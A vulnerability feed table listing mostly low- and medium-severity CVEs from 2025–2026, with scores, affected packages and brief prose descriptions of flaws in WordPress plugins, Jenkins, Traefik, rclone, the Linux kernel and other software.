CVE-2026-85641	New	4.3	MEDI		0.001		The Formidable Forms WordPress plugin before 6.35 does not restrict who can set the identifier recording which user last edited a form entry, and relies on that identifier when deciding whether to strip HTML from stored entry values, allowing unauthenticated visitors to have markup rendered in the admin entry view that would otherwise be removed, and to attribute their subm...
CVE-2026-87860	New	4.3	MEDI		0.001		The Subscriptions for WooCommerce WordPress plugin before 2.0.3 does not verify the security token on the request that cancels a subscription, allowing attackers to make a logged-in customer cancel their own active subscription through a crafted request they are tricked into making.
CVE-2026-92141	New	4.3	MEDI				Jenkins Keycloak Authentication Plugin 2.4.1 and earlier does not restrict the redirect URL after login, allowing attackers to perform phishing attacks.
CVE-2026-92357	New	4.3	MEDI				A vulnerability was identified in a2ui-project a2ui 0.8/0.9/1.0. Impacted is an unknown function of the file model-processor.ts of the component Model Processor. The manipulation of the argument current[segment] leads to information disclosure. The attack may be initiated remotely. The identifier of the patch is 1b3bff234661ce922cbc3771be642b23ec9fd0fa. To fix this issue, it...
CVE-2026-92363	New	4.3	MEDI				A flaw has been found in ag-ui-protocol ag-ui 1.0. Affected is an unknown function of the file src/stream/sse_parser.cpp of the component JSON Parser. Executing a manipulation can lead to resource consumption. The attack may be performed from remote. This patch is called ab6e0bc298996caac2b4b0b3ec0bd8d32a15a186. Applying a patch is advised to resolve this issue.
CVE-2026-92365	New	4.3	MEDI				A vulnerability was found in vllm-project vllm up to 0.29.0. Affected by this issue is some unknown functionality of the file vllm/v1/sample/thinking_budget_state.py. The manipulation results in inefficient algorithmic complexity. It is possible to launch the attack remotely. The pull request to fix this issue awaits acceptance.
CVE-2026-92413	New	4.3	MEDI				A flaw has been found in Artifex MuPDF up to b6d17493700c621c0e70036980a6ebd06d2202c9. Affected by this vulnerability is the function pdf_open_filter of the file pdf-stream.c of the component PDF Xref Loading. Executing a manipulation can lead to null pointer dereference. The attack can be launched remotely. The exploit has been published and may be used. This patch is calle...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92458	New	4.3	MEDI				yshop-crm through 2.1.3 contains a missing authorization vulnerability in the StoreProductController onSale handler that allows authenticated back-office users to modify product sale status. Attackers can invoke the GET /admin-api/product/store-product/sale endpoint with sequential product IDs to withdraw entire product catalogs from sale or re-enable withdrawn products with...
CVE-2026-92569	New	4.3	MEDI				Hippo4j through 1.5.0 contains a server-side request forgery vulnerability in four ThreadPoolController endpoints that fail to validate the clientAddress parameter. Authenticated attackers can supply arbitrary hostnames and ports to trigger outbound GET requests to internal networks and cloud metadata services.
CVE-2026-92585	New	4.3	MEDI				AVideo through 29.0 (commit c3edcc274c389816d434acadac07ee78eaf330c1) fails to validate video access permissions in the API like endpoint, allowing logged-in users to vote on password-protected and group-restricted videos. Attackers can submit like and dislike requests to increment vote counters on videos they cannot watch by calling the set.json.php endpoint with APIName pa...
CVE-2026-92589	New	4.3	MEDI				Craft CMS 5.0.0 through 5.10.12 (fixed in 5.10.13) contains a broken access control flaw in the nested-elements reorder endpoint. When an authenticated control panel user with viewEntries and viewPeerEntries (but without savePeerEntries) opens another author's entry in read-only mode, Craft unconditionally grants that session a `manageNestedElements::<ownrId>::field:<handle>...
CVE-2026-92764	New	4.3	MEDI				OpenCVE before 3.1.0 fails to properly scope the organizations API endpoint to the token's organization, instead returning the token creator's memberships. Attackers with organization-scoped tokens can list and retrieve every organization their creator belongs to, bypassing intended token isolation boundaries.
CVE-2026-92131	New	4.2	MEDI				Jenkins Pipeline: Groovy Libraries Plugin 805.va_fc79344957d and earlier does not restrict the library path provided to the library Pipeline step to a relative path inside the SCM checkout, and follows symbolic links to locations outside of the SCM checkout when retrieving the library, resulting in a path traversal vulnerability, allowing attackers able to configure Pipeline...
CVE-2026-92138	New	4.2	MEDI				The OAuth authorization endpoint in Jenkins Bitbucket Server Integration Plugin 6.0.1 and earlier reads the `oauth_callback` URL from the submitted form rather than from the server-side stored request token, allowing attackers to hijack the OAuth flow and obtain an access token on behalf of the victim.
CVE-2026-76559	New	4.1	MEDI		0.002		The WP Import Export Lite WordPress plugin before 3.9.33 does not properly validate URLs before requesting them during the import process, allowing users with the import capability, which administrators hold by default, to make the site issue requests to internal hosts and services and read their responses. This is an incomplete fix for CVE-2026-11397.
CVE-2026-20071	New	3.8	LOW				A vulnerability in the SSID bring-your-own-device (BYOD) onboarding workflow of Cisco ISE could allow an unauthenticated, adjacent attacker to hijack the onboarding session of another user and access protected 802.1X networks. This vulnerability is due to insufficient authentication checks that are performed while a user is being onboarded. An attacker could e...
CVE-2026-87026	New	3.8	LOW				Tanium addressed an improper access controls vulnerability in Threat Response.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89327	New	3.8	LOW		0.002		The FluentBoards WordPress plugin before 2.0.15 does not verify that a board member submitting a comment is the user the comment is attributed to, allowing any board member to post comments that appear to be authored by another user, including administrators.
CVE-2026-89328	New	3.8	LOW		0.002		The FluentBoards WordPress plugin before 2.0.15 does not properly verify that a user holds board-manager privileges before performing several board-management operations, checking only board membership. This allows any member of a board to carry out manager-only actions on it, including adding or removing members and enabling public access to a private board.
CVE-2026-69200	New	3.7	LOW				node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to node-opcua-client 2.145.0, the internal fieldsToJson method in packages/node-opcua-client/source/alarms_and_conditions/client_alarm.ts directly assigns unsanitized field names and allows a __proto__.pollutedKey path to modify Object.prototype. Successful exploitation requires an application to expose...
CVE-2026-77860	New	3.7	LOW		0.003		In NLnetLabs Unbound 1.20.0 up to and including 1.26.0, a vulnerability on the 'serve-expired' code path can cause a double decrement on the 'wait-limit' counter per client IP essentially bypassing one of the counter measures that was introduced for DNSBomb (CVE-2024-33655). A malicious actor can exploit this by controlling an authoritative zone with short TTL, so cached ent...
CVE-2026-84907	New	3.7	LOW		0.002		The Eventin WordPress plugin before 4.1.24 does not properly authorise order finalisation when its offline (local) payment method is enabled, relying on a nonce that is exposed to unauthenticated visitors and never checking that the caller owns the order, allowing unauthenticated attackers to reset any existing order and its attendees to a pending state and thereby invalida...
CVE-2026-86071	New	3.7	LOW				Junrar is an open source Java RAR archive library. Prior to version 7.6.1, LocalFolderExtractor in src/main/java/com/github/junrar/LocalFolderExtractor.java can create directories outside the intended extraction root when processing a crafted archive entry. LocalFolderExtractor.createFile() validates only the final canonical file path, while LocalFolderExtractor.makeFile() c...
CVE-2026-86448	New	3.7	LOW		0.002		The LearnPress WordPress plugin before 4.4.7 does not perform any authentication, capability or nonce check before serving a previously generated order export file, allowing unauthenticated attackers who can determine its identifier to download customer names, purchases, amounts and guest email addresses.
CVE-2026-92214	New	3.5	LOW		0.003		A flaw has been found in a2ui-project a2ui up to 0.10.7. Affected is an unknown function of the file samples/community/client/angular/projects/a2a-chat-canvas/src/lib/services/sa sanitizer-markdown-renderer-service.ts of the component a2a-chat-canvas. Executing a manipulation can lead to cross site scripting. The attack may be performed from remote.
CVE-2026-92381	New	3.5	LOW				A weakness has been identified in PbootCMS up to 3.2.22. This affects the function decode_string of the file apps/admin/controller/content/ContentController.php of the component Template Rendering. This manipulation of the argument Title causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been made available to the public and could...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92473	New	3.3	LOW				A vulnerability was identified in GPAC 26.08-DEV. The impacted element is the function gf_sg_command_del of the file src/scenegraph/commands.c of the component BIFS Handler. The manipulation leads to use after free. The attack needs to be performed locally. The exploit is publicly available and might be used. Upgrading to version abi-16.24 is sufficient to resolve this issue...
CVE-2026-3855	New	3.1	LOW		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user with project-level permissions to access restricted file contents on the server or cause denial of service due to improper validation of parameters in the Terraform s...
CVE-2026-92130	New	3.1	LOW				Jenkins Pipeline: Multibranch Plugin 841.vec5b_9e1806ec and earlier does not set the appropriate context for credentials lookup in the resolveScm Pipeline step, allowing attackers with Item/Configure permission to access and capture credentials they are not entitled to.
CVE-2026-71181	New	3.0	LOW				Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Link Resolution Before File Access ('Link Following') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker.
CVE-2026-71182	New	3.0	LOW				Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Link Resolution Before File Access ('Link Following') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker.
CVE-2026-82126	New	2.7	LOW		0.002		The Schema & Structured Data for WP & AMP WordPress plugin before 1.66 does not check that a user is allowed to edit the specific post they request schema generation for, allowing users with the contributor role and above to obtain the content of other users' draft, pending, private and password protected posts.
CVE-2026-84905	New	2.7	LOW		0.002		The Eventin WordPress plugin before 4.1.24 does not verify a user's capability to create accounts when adding a speaker, allowing users with contributor-level access and above to create new WordPress user accounts that carry capabilities beyond their own, including publishing content and uploading files, and, by supplying an email address they control, to obtain a working l...
CVE-2026-92385	New	2.4	LOW				A vulnerability has been found in SourceCodester Online Food Ordering System 1.0. The affected element is an unknown function of the file /admin/update_category.php of the component Category Update. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-19640	New	2.3	LOW		0.002		On affected platforms running Arista EOS, an authenticated user with access to the gNMI (gRPC Network Management Interface) may receive incorrect authorization results, potentially allowing access beyond their currently assigned permissions. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73440	New	2.3	LOW		0.003		On affected platforms running Arista EOS with Simple Network Management Protocol (SNMP) configured, SNMPv3 local or remote user credentials may be exposed as a one-way hashed, localized key value within the device's running and sanitized configurations. An authenticated user who gains access to this sensitive information could leverage it to perform unauthorized read operati...
CVE-2026-86089	New	2.3	LOW				Apache NiFi 2.11.0 supports migrating the contents of a version-controlled Process Group into a Connector using REST API methods that list eligible migration sources and submit migration requests. The framework authorized both methods against the target Connector alone, without evaluating access to the Process Groups involved. The absence of Process Group authorization allow...
CVE-2026-92359	New	2.3	LOW				A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. The affected element is the function create_strands_app of the file integrations/aws-strands/python/src/ag_ui_strands/utlis.py of the component CORSMiddleware. The manipulation results in permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The attack requires a high lev...
CVE-2026-92814	New	2.3	LOW				changedetection.io through 0.60.6 fails to escape the scraped page title in HTML notifications, allowing arbitrary markup injection. Attackers can place malicious markup in monitored page titles that reaches notification channels like email and Telegram as live content when the watch_title token is used in templates.
CVE-2026-73442	New	2.1	LOW				On affected platforms running Arista EOS with VRRP enabled, the peer device VRRP authentication credentials are logged in cleartext on the switch, allowing an authenticated user with sufficient privileges to view agent trace logs (or a system receiving forwarded log output) to obtain the peer device VRRP authentication credentials without having access to the network segment...
CVE-2026-87031	New	2.1	LOW				n Concrete CMS 9.2.0 through 9.5.3, the REST API user creation endpoint (POST /ccm/api/1.0/users, the add() method of concrete/src/Api/Controller/Users.php) did not perform a permission check before creating an account. As a result, any valid OAuth token carrying the users:add scope, including a client_credentials token with no associated user context, could create active, v...
CVE-2026-92364	New	2.1	LOW				A vulnerability has been found in itsourcecode Leave Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /module/employee/index.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-92383	New	2.1	LOW				A security vulnerability has been detected in PbootCMS up to 3.2.24. This vulnerability affects the function UserController::del/UserController::mod of the file apps/admin/controller/system/UserController.php of the component User Management. Such manipulation leads to cross-site request forgery. The attack may be performed from remote. The exploit has been disclosed publicl...
CVE-2026-92527	New	2.1	LOW				A vulnerability has been found in chatwoot up to 4.17.1. This impacts an unknown function of the file callbacks_controller.rb of the component Shopify OAuth. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81870	New	2.0	LOW				OpenTelemetry-Go is the Go implementation of OpenTelemetry. From version 1.5.0 to 1.44.0, sdk/trace.NewTracerProvider emits a TracerProvider created internal Info-level diagnostic event whose MarshalLog implementations recursively include span processor, exporter, and client configuration. Applications that call otel.SetLogger to enable OpenTelemetry internal Info logging ca...
CVE-2026-85387	New	2.0	LOW				Concrete CMS before 9.5.4 re-authorized OAuth REST API requests from the bearer token alone and did not re-check the state of the account the token had been issued to. The resource server's authorization validator confirmed only that a token existed, had not expired, and had not been explicitly revoked, and deactivating a user did not revoke that user's outstanding tokens. A...
CVE-2026-92247	New	2.0	LOW		0.003		A security vulnerability has been detected in synaptikcms synaptik-cms up to 1.3.4.4. This affects the function rename of the file admin/file-manager.php of the component Admin File Manager. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.3.5 is able to mitiga...
CVE-2026-92418	New	2.0	LOW				A vulnerability was determined in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This vulnerability affects unknown code of the file src/main/resources/public/js/customerServe/customer.serve.js of the component Save Endpoint. This manipulation of the argument customerName causes cross site scripting. Remote exploitation of the attack is possible. The exploit...
CVE-2026-92472	New	1.9	LOW				A vulnerability was determined in GPAC 26.08-DEV. The affected element is the function gf_node_deactivate_ex of the file src/scenegrph/base_scenegrph.c of the component MP4Box. Executing a manipulation can lead to use after free. The attack needs to be launched locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.24 is sufficien...
CVE-2026-92474	New	1.9	LOW				A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gf_inline_get_proto_lib of the file src/compositor/mpeg4_inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. Upgrading to version abi-16.24 mitigat...
CVE-2026-81866	New	0.5	LOW				Apache NiFi 2.9.0 through 2.11.0 provide Connector configuration update and verification REST API methods that do not enforce authorization checking on Assets and Secrets referenced in proposed configuration. Updating or verifying a Connector configuration step can apply Asset and Secret references, but framework authorization was limited to write privileges on the Connector...
CVE-2025-24978	New					Go:github.com/lf-edge/ekuiper, Go:github.com/lf-edge/ekuiper/v2	LF Edge eKuiper: Self-XSS in External Service Creation in github.com/lf-edge/ekuiper
CVE-2025-24979	New					Go:github.com/lf-edge/ekuiper, Go:github.com/lf-edge/ekuiper/v2	LF Edge eKuiper: SSRF in External Service in github.com/lf-edge/ekuiper

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2025-56565	New						DD-WRT firmware, as deployed on TP-Link TL-WR740N v1 through v4 hardware, stores sensitive authentication credentials in cleartext within non-volatile memory. The exposed material includes SSH private keys, dynamic DNS passwords, email notification credentials and administrative passwords. An attacker with physical access to the device can extract these credentials from an S...
CVE-2025-56566	New						MikroTik firmware 7.19.4 stores sensitive authentication credentials and network state in cleartext within non-volatile storage. An attacker with physical access to the device can extract this material from an SPI flash dump, without authenticating to the device and without knowledge of the administrative password.
CVE-2025-58363	New					Go:github.com/lf-edge/ekuiper, Go:github.com/lf-edge/ekuiper/v2	LF Edge eKuiper: Arbitrary File and Directory Deletion via Path Traversal in Plugin Installation Endpoint in github.com/lf-edge/ekuiper
CVE-2026-38999	New						A Null Pointer Dereference in the mk_sched_event_close function (mk_server/mk_scheduler.c) of Monkey through commit 4fb0c16 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request to the server.
CVE-2026-53495	New				0.002	Go:github.com/containerd/containerd, Go:github.com/containerd/containerd/v2	containerd: CRI ExecSync Goroutine Leak Leads to Node-Level Denial of Service in github.com/containerd/containerd
CVE-2026-56665	New				0.003	Go:github.com/zitadel/zitadel	ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider in github.com/zitadel/zitadel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional af...
CVE-2026-56666	New				0.003	Go:github.com/zitadel/zitadel	ZITADEL: Auto-linking by email: IdP-side email verification is not checked in github.com/zitadel/zitadel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional ...
CVE-2026-56668	New				0.004	Go:github.com/zitadel/zitadel	ZITADEL: Unauthorized Token Privilege Escalation in OAuth2 Token Exchange in github.com/zitadel/zitadel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional a...
CVE-2026-59157	New				0.005	Go:github.com/ncarlier/webhookd	webhookd: Unrestricted HTTP Header to Shell Variable Injection in github.com/ncarlier/webhookd
CVE-2026-59161	New				0.004	Go:github.com/xuri/excelize/v2	In github.com/xuri/excelize/v2, the streaming worksheet reader used by Rows and GetRows does not enforce the maximum row limit (TotalRows) on row "r" attributes. A crafted spreadsheet with an out-of-bounds row index causes GetRows to allocate empty row slices up to the specified row number, leading to excessive memory consumption and denial of service.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59162	New				0.004	Go:github.com/xuri/excelize/v2	In github.com/xuri/excelize/v2, parsing a spreadsheet cell with a negative shared-string index causes a runtime panic. The shared-string lookup in xlsxC.GetValueFrom checks only the upper bound of the parsed index against the shared-string slice length, causing negative indices (such as -1) to bypass validation and trigger an out-of-bounds slice access when reading cells via...
CVE-2026-59172	New					Go:github.com/candid82/joker	Joker linter executed project-local .jokerd/linter.* files during linting in github.com/candid82/joker
CVE-2026-59185	New					Go:github.com/identrail/identrail	Identrail Cross-tenant IDOR: Client-supplied GitHub App installation_id is bound to the caller's workspace without ownership verification in github.com/identrail/identrail
CVE-2026-61396	New						Rejected reason: Did not need CVE ID
CVE-2026-76081	New				0.002	Go:github.com/zitadel/zitadel	ZITADEL: Improper Role Revocation on Granted Projects during Multiple Role Deletions in github.com/zitadel/zitadel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The a...
CVE-2026-81192	New		HIGH		0.001	NuGet:OpenTelemetry.Resources.Host	### Summary The `OpenTelemetry.Resources.Host` NuGet package is affected by an untrusted search path vulnerability on macOS. The `host.id` resource attribute detector launches the `sh` and `ioreg` executables by bare name rather than by absolute path, so both are resolved through the `PATH` environment variable. A local attacker who is less privileged than the host applica...
CVE-2026-85789	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-88004	New				0.003	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik endpoint header-name sanitization bypassed via request trailers in github.com/traefik/traefik
CVE-2026-88007	New				0.003	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik HTTP/3 Backend NTLM Connection Reuse in github.com/traefik/traefik
CVE-2026-88008	New				0.003	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization in github.com/traefik/traefik
CVE-2026-88009	New				0.003	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging in github.com/traefik/traefik
CVE-2026-88011	New				0.002	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik: ForwardAuth identity spoofing via dot-form header alias in github.com/traefik/traefik
CVE-2026-88012	New				0.003	Go:github.com/traefik/traefik, Go:github.com/traefik/traefik/v2, Go:github.com/traefik/traefik/v3	Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded in github.com/traefik/traefik

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88013	New				0.002	Go:github.com/rclone/rclone	rclone: http backend forwards custom/auth headers to a different host on redirect in github.com/rclone/rclone
CVE-2026-88014	New				0.001	Go:github.com/rclone/rclone	rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace in github.com/rclone/rclone
CVE-2026-88015	New				0.004	Go:github.com/rclone/rclone	rclone local: crafted Range request against a translated symlink panics (DoS) in github.com/rclone/rclone
CVE-2026-88016	New				0.002	Go:github.com/rclone/rclone	rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination in github.com/rclone/rclone
CVE-2026-88017	New				0.002	Go:github.com/rclone/rclone	rclone: FTP cross-session auth-proxy backend confusion in github.com/rclone/rclone
CVE-2026-88018	New				0.005	Go:github.com/rclone/rclone	rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass in github.com/rclone/rclone
CVE-2026-88044	New				0.005	Go:github.com/rclone/rclone	rclone: RC per-server auth-proxy bypass in github.com/rclone/rclone
CVE-2026-88045	New				0.005	Go:github.com/rclone/rclone	rclone: S3 multipart declared-length memory exhaustion in github.com/rclone/rclone
CVE-2026-88046	New				0.003	Go:github.com/rclone/rclone	rclone: source object names can escape the configured root on upload in github.com/rclone/rclone
CVE-2026-88593	New						kkFileView 5.0.0 through 5.0.2 allows reflected XSS via the /onlinePreview endpoint. The OnlinePreviewController passes the user-controlled page and kkagent request parameters to FreeMarker templates without sanitization, and the templates insert these values into raw JavaScript contexts.
CVE-2026-89776	New				0.002		In the Linux kernel, the following vulnerability has been resolved: vxlan: vnifilter: enforce exact length of GROUP/GROUP6 attributes The VXLAN VNI filter entry policy declares the GROUP/GROUP6 address attributes as NLA_BINARY with only a maximum length, so validate_nla() accepts a payload shorter than the address. The GROUP consumer reads it with nla_get_in_addr(), an unc...
CVE-2026-89780	New				0.002		In the Linux kernel, the following vulnerability has been resolved: net: qualcomm: rmnet: restore skb->dev on deaggregated frames rmnet_map_deaggregate() allocates each sub-frame with alloc_skb() and leaves skb->dev NULL. __rmnet_map_ingress_handler() assigns skb->dev = ep->egress_dev only on the data path, but a MAP command frame is dispatched to rmnet_map_command() befor...
CVE-2026-89784	New				0.002		In the Linux kernel, the following vulnerability has been resolved: SUNRPC: check rpc_sockaddr2uaddr() return value in rpcb_register_inet4/6 rpcb_register_inet4() and rpcb_register_inet6() store the result of rpc_sockaddr2uaddr() into map->r_addr without checking it for NULL. rpc_sockaddr2uaddr() returns NULL when its final kstrdup() fails, and the unchecked NULL is then c...
CVE-2026-89785	New				0.002		In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix out-of-bounds read of INDEX_ROOT in reparse/objid init ntfs_reparse_init() and ntfs_objid_init() parse the index root of the \$Extend/\$Reparse and \$Extend/\$Objid metafiles (the INDEX_ROOT attributes named \$R and \$O). They read its type and rule fields through resident_data(), which does not ch...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89787	New				0.002		In the Linux kernel, the following vulnerability has been resolved: ext4: check dir entry fits before reading the hash trailer in ext4_search_dir() For casefolded encrypted directories ext4 stores an 8-byte hash trailer after the name (EXT4_DIRENT_HASHES()), at an offset derived from de->name_len. On the sb_no_casefold_compat_fallback() path ext4_match() reads that traile...
CVE-2026-89790	New				0.002		In the Linux kernel, the following vulnerability has been resolved: ipv6: avoid divide by zero in rt6_multipath_rebalance rt6_multipath_rebalance() calculates the total eligible nexthop weight in one pass and programs upper bounds in a second pass. Since RTM_NEWROUTE is RTNL-free, a concurrent ignore_routes_with_linkdown update can make the first pass return zero while the...
CVE-2026-89794	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: zero pipe read compound padding Compound response handling extends the last response iov to an eight-byte boundary. smb2_read_pipe() allocates only the payload size, so the alignment padding can expose up to seven bytes of uninitialized kernel heap memory. Allocate the aligned size and clear the u...
CVE-2026-89796	New						In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: avoid infinite kdamond_merge_regions() internal loop Patch series "mm/damon: unurgent fixes for infinite loop, NULL de-ref and races", v1.1. Sashiko found a few issues in DAMON that could cause infinite loop, NULL dereference and monitoring results degradation. The first two sounds scary b...
CVE-2026-89797	New						In the Linux kernel, the following vulnerability has been resolved: power: supply: ab8500_fg: fix use-after-free on remove ab8500_fg_remove() destroys the driver workqueue while the threaded interrupt handlers are still armed; they are devm-managed and freed only after ->remove() returns, so a handler that fires in that window queues work on the freed workqueue. Tear the ...
CVE-2026-89798	New						In the Linux kernel, the following vulnerability has been resolved: rpcrdma: arm rn_done before publishing the notification rpcrdma_rn_register() inserts @rn into rd_xa with xa_alloc() before storing the caller's callback in rn->rn_done. The xarray makes @rn reachable to rpcrdma_remove_one(), which walks rd_xa and invokes rn->rn_done(rn) for every registered notification. ...
CVE-2026-89800	New						In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: clear the dirty flag when unwinding an OP_UNMAP_SPARSE A successful OP_UNMAP_SPARSE marks its region dirty with nouveau_uvma_region_dirty() and defers the teardown to nouveau_uvmm_bind_job_cleanup(); it does not remove the region from uvmm->region_mt. If a later op in the job fails, the ...
CVE-2026-89802	New						In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: fix NULL deref unwinding an OP_MAP_SPARSE op Each bind_job_op is zeroed by kzalloc_obj() in bind_job_op_from_uop(), and the OP_MAP_SPARSE case in nouveau_uvmm_bind_job_submit() only creates a region, so op->ops stays NULL for a successfully processed sparse map. If a later op in the same...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89807	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: guard against NULL restore_mqd in CRIU queue restore Both create_queue_cpsch() and create_queue_nocpsch() unconditionally call mqd_mgr->restore_mqd() when a CRIU restore is in progress (qd != NULL), with no NULL guard. On any system where restore_mqd is not implemented for the given queue type,...
CVE-2026-89809	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix scope of mqd_mgr dereference in pqm_debugfs_mqds Reading /sys/kernel/debug/kfd/mqds while a process holds an active KFD queue triggers a NULL pointer dereference because the for loop that calls mqd_mgr->debugfs_show_mqd() is incorrectly placed outside the if (pqm->q) block that initializes ...
CVE-2026-89812	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: force complete the MES ring fences on reset The MES scheduler ring has no drm scheduler (no_scheduler = true), so it is skipped by the force-completion loop in amdgpu_device_pre_asic_reset(). It uses a polling fence whose hw value lives in wb (GTT) memory and survives a MODE1 reset, while fence...
CVE-2026-89813	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: force complete the KIQ ring fences on reset Like the MES scheduler ring, the KIQ ring sets no_scheduler = true and uses a polling fence, so it is skipped by the force-completion loop in amdgpu_device_pre_asic_reset(). Its hw fence value lives in wb (GTT) memory and survives a MODE1 reset while ...
CVE-2026-89816	New						In the Linux kernel, the following vulnerability has been resolved: drm: Fix drm_crtc_commit leak if signaled when PAGE_FLIP_EVENT is used Commit 1c6ceeee6ebb ("drm/atomic: Fix memleak on ERESTARTSYS during non-blocking commits") fixed a very similar issue when the event was allocated by drm_atomic_helper_setup_commit() itself. However, if the event is allocated in prepar...
CVE-2026-89817	New						In the Linux kernel, the following vulnerability has been resolved: drm/gud: NUL-terminate TV mode names read from the device gud_connector_add_tv_mode() reads a buffer of fixed-size mode names from the USB device and passes pointers into it to drm_mode_create_tv_properties_legacy(), which calls strlen() on each one. Nothing guarantees the device NUL-terminates a name, so ...
CVE-2026-89820	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: fix dc_lock leak on GPU reset error paths On GPU reset, dm_suspend() takes dc_lock and leaves it for dm_resume() to drop. If amdgpu_dm_commit_zero_streams() or dm_dmub_hw_init() fails, the function returns with the lock still held. The matching resume path is then skipped, so every later d...
CVE-2026-89821	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: avoid divide-by-zero in __is_lut_linear() __is_lut_linear() computes the expected value of each entry with expected = i * MAX_DRM_LUT_VALUE / (size - 1); If it is ever called with a single-entry LUT, size - 1 is zero and the kernel takes a divide error (#DE). A LUT with fewer than two e...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89822	New						In the Linux kernel, the following vulnerability has been resolved: drm/i915: Guard against NULL driver_data in i915_pci_probe() pci_match_device() can return the dummy pci_device_id_any entry when a device is force-bound via sysfs driver_override, in which case ->driver_data is unset (NULL). i915_pci_probe() casts it to struct intel_device_info * unconditionally and deref...
CVE-2026-89824	New						In the Linux kernel, the following vulnerability has been resolved: drm/panel-edp: fix i2c adapter leak on probe failure Make sure to drop the i2c adapter reference on probe failure (e.g. probe deferral) and on driver unbind also if a devicetree redundantly uses the 'ddc-i2c-bus' property to point to the aux ddc bus.
CVE-2026-89827	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: avoid force-completing uninitialized UVD rings uvd_v7_0_sw_init() does not initialize the UVD decode ring for an SR-IOV VF. However, amdgpu_uvd_resume() unconditionally force-completes the decode ring when restoring its fence sequence. Skip fence completion when the fence driver is not initial...
